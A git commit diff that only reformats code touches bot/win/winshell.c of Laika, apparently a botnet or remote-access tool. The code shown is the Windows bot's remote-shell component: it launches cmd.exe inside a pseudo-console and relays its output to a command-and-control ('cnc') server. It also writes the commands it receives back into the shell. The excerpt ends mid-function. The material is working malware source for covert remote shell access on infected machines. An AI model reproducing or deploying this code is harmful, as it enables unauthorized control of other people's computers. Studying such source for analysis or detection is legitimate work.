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Added .clang-format, formatted codebase

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This commit is contained in:
CPunch
2022-06-27 18:57:00 -05:00
parent 1d6ce15b3d
commit 48fa8935c3
46 changed files with 1756 additions and 1242 deletions
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119
bot/win/winshell.c
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@@ -1,14 +1,15 @@
/* platform specific code for opening shells (pseudo consoles) on windows */
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "bot.h"
#include "shell.h"
#include <windows.h>
#include <process.h>
#include <windows.h>
/* shells are significantly more complex on windows than linux for laika */
struct sLaika_RAWshell {
struct sLaika_RAWshell
{
struct sLaika_shell _shell;
HANDLE in, out;
PROCESS_INFORMATION procInfo;
@@ -16,12 +17,16 @@ struct sLaika_RAWshell {
HPCON pseudoCon;
};
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows);
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
;
TCHAR szComspec[MAX_PATH];
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
HRESULT hr;
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
@@ -50,34 +55,35 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
}
/* launch cmd shell */
hr = CreateProcess(
NULL, /* No module name - use Command Line */
szComspec, /* Command Line */
NULL, /* Process handle not inheritable */
NULL, /* Thread handle not inheritable */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
NULL, /* Use parent's environment block */
NULL, /* Use parent's starting directory */
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
? S_OK : HRESULT_FROM_WIN32(GetLastError());
hr = CreateProcess(NULL, /* No module name - use Command Line */
szComspec, /* Command Line */
NULL, /* Process handle not inheritable */
NULL, /* Thread handle not inheritable */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
NULL, /* Use parent's environment block */
NULL, /* Use parent's starting directory */
&shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
? S_OK
: HRESULT_FROM_WIN32(GetLastError());
if (hr != S_OK) {
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
laikaM_free(shell->startupInfo.lpAttributeList);
ClosePseudoConsole(shell->pseudoCon);
laikaM_free(shell);
return NULL;
}
return (struct sLaika_shell*)shell;
return (struct sLaika_shell *)shell;
}
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill process (it's ok if it fails) */
TerminateProcess(shell->procInfo.hProcess, 0);
@@ -99,8 +105,11 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
/* ====================================[[ Shell Handlers ]]===================================== */
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
/* edited from
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows)
{
COORD consoleSize = (COORD){.X = cols, .Y = rows};
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
@@ -108,11 +117,14 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
DWORD mode = PIPE_NOWAIT;
/* create the pipes to which the ConPTY will connect */
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) ||
!CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
return HRESULT_FROM_WIN32(GetLastError());
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
easier so it fits in nicely with the rest of the laika codebase
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
*/
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
return HRESULT_FROM_WIN32(GetLastError());
@@ -127,8 +139,10 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
return hr;
}
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
/* also edited from
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC)
{
HRESULT hr = E_UNEXPECTED;
if (pStartupInfo) {
@@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
/* Initialize thread attribute list */
if (pStartupInfo->lpAttributeList
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
if (pStartupInfo->lpAttributeList &&
InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) {
/* Set Pseudo Console attribute */
hr = UpdateProcThreadAttribute(
pStartupInfo->lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
hPC,
sizeof(HPCON),
NULL,
NULL)
? S_OK : HRESULT_FROM_WIN32(GetLastError());
hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON),
NULL, NULL)
? S_OK
: HRESULT_FROM_WIN32(GetLastError());
} else {
hr = HRESULT_FROM_WIN32(GetLastError());
}
@@ -161,13 +171,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
return hr;
}
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
DWORD rd;
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
bool readSucc =
ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL);
if (readSucc) {
/* we read some input! send to cnc */
@@ -176,7 +188,8 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else {
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
if (GetLastError() == ERROR_NO_DATA &&
WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, process is still alive */
/* unrecoverable error */
laikaB_freeShell(bot, _shell);
@@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
size_t length)
{
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft;
DWORD nWritten;
nLeft = length;
while (nLeft > 0) {
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) {
/* unrecoverable error */
laikaB_freeShell(bot, _shell);
return false;